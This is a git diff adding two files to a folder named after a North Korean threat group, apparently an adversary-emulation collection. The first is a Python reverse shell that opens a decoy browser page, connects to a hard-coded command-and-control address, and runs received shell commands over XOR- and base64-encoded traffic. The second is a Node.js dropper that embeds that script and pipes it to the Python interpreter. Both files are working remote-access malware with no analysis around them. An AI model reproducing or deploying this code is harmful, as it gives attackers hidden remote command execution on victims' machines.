diff --git a/North Koreans APT/Famous Chollima/ReverseTCP_XOR.py b/North Koreans APT/Famous Chollima/ReverseTCP_XOR.py
new file mode 100644
index 0000000..058f523
--- /dev/null
+++ b/North Koreans APT/Famous Chollima/ReverseTCP_XOR.py	
@@ -0,0 +1,60 @@
+import socket
+import subprocess
+import base64
+import webbrowser
+
+def xor_encrypt_decrypt(data, key):
+    encrypted_bytes = bytes([b ^ key for b in data])
+    return base64.b64encode(encrypted_bytes).decode()
+
+def xor_decrypt_base64(data, key):
+    decrypted_bytes = base64.b64decode(data)
+    return bytes([b ^ key for b in decrypted_bytes]).decode()
+
+XOR_KEY = 22
+C2_SERVER = "192.168.1.104"
+C2_PORT = 2222
+
+def reverse_tcp():
+
+    webbrowser.open("https://www.google.com")
+    
+    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    client.connect((C2_SERVER, C2_PORT))
+
+    try:
+        auth_message = xor_encrypt_decrypt(b"AUTH", XOR_KEY)
+        client.send(auth_message.encode())
+    except Exception as e:
+        print(f"[!] Failed to send AUTH: {e}")
+        client.close()
+        return
+
+    while True:
+        try:
+            encrypted_command = client.recv(1024).decode()
+            if not encrypted_command:
+                break
+
+            command = xor_decrypt_base64(encrypted_command, XOR_KEY)
+
+            if command.lower() == "exit":
+                break
+
+            result = subprocess.run(command, shell=True, capture_output=True, text=True)
+            output = result.stdout + result.stderr
+
+            encrypted_output = xor_encrypt_decrypt(output.encode(), XOR_KEY)
+            client.send(encrypted_output.encode())
+
+        except Exception as e:
+            try:
+                error_message = xor_encrypt_decrypt(f"Error: {e}".encode(), XOR_KEY)
+                client.send(error_message.encode())
+            except:
+                pass
+            break
+
+    client.close()
+
+reverse_tcp()
diff --git a/North Koreans APT/Famous Chollima/payload.js b/North Koreans APT/Famous Chollima/payload.js
new file mode 100644
index 0000000..7742fc8
--- /dev/null
+++ b/North Koreans APT/Famous Chollima/payload.js	
@@ -0,0 +1,82 @@
+const { exec } = require('child_process');
+
+// Python script as a string, kept verbatim
+const pythonScript = `import socket
+import subprocess
+import base64
+import webbrowser
+
+def xor_encrypt_decrypt(data, key):
+    encrypted_bytes = bytes([b ^ key for b in data])
+    return base64.b64encode(encrypted_bytes).decode()
+
+def xor_decrypt_base64(data, key):
+    decrypted_bytes = base64.b64decode(data)
+    return bytes([b ^ key for b in decrypted_bytes]).decode()
+
+XOR_KEY = 22
+C2_SERVER = "192.168.1.104"
+C2_PORT = 2222
+
+def reverse_tcp():
+
+    webbrowser.open("https://www.google.com")
+    
+    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    client.connect((C2_SERVER, C2_PORT))
+
+    try:
+        auth_message = xor_encrypt_decrypt(b"AUTH", XOR_KEY)
+        client.send(auth_message.encode())
+    except Exception as e:
+        print(f"[!] Failed to send AUTH: {e}")
+        client.close()
+        return
+
+    while True:
+        try:
+            encrypted_command = client.recv(1024).decode()
+            if not encrypted_command:
+                break
+
+            command = xor_decrypt_base64(encrypted_command, XOR_KEY)
+
+            if command.lower() == "exit":
+                break
+
+            result = subprocess.run(command, shell=True, capture_output=True, text=True)
+            output = result.stdout + result.stderr
+
+            encrypted_output = xor_encrypt_decrypt(output.encode(), XOR_KEY)
+            client.send(encrypted_output.encode())
+
+        except Exception as e:
+            try:
+                error_message = xor_encrypt_decrypt(f"Error: {e}".encode(), XOR_KEY)
+                client.send(error_message.encode())
+            except:
+                pass
+            break
+
+    client.close()
+
+reverse_tcp()`;
+
+// Determine the Python command (try 'python3' first, fallback to 'python')
+const pythonCommand = process.platform === 'win32' ? 'python' : 'python3';
+
+// Execute the Python script by piping it to the Python interpreter
+const command = `echo ${JSON.stringify(pythonScript).replace(/\\n/g, '\\n')} | ${pythonCommand} -`;
+
+exec(command, (error, stdout, stderr) => {
+  if (error) {
+    console.error(`Error executing Python script: ${error.message}`);
+    console.error(`Ensure Python 3 is installed and accessible via '${pythonCommand}'.`);
+    return;
+  }
+  if (stderr) {
+    console.error(`Python stderr: ${stderr}`);
+    return;
+  }
+  console.log(`Python output:\n${stdout}`);
+});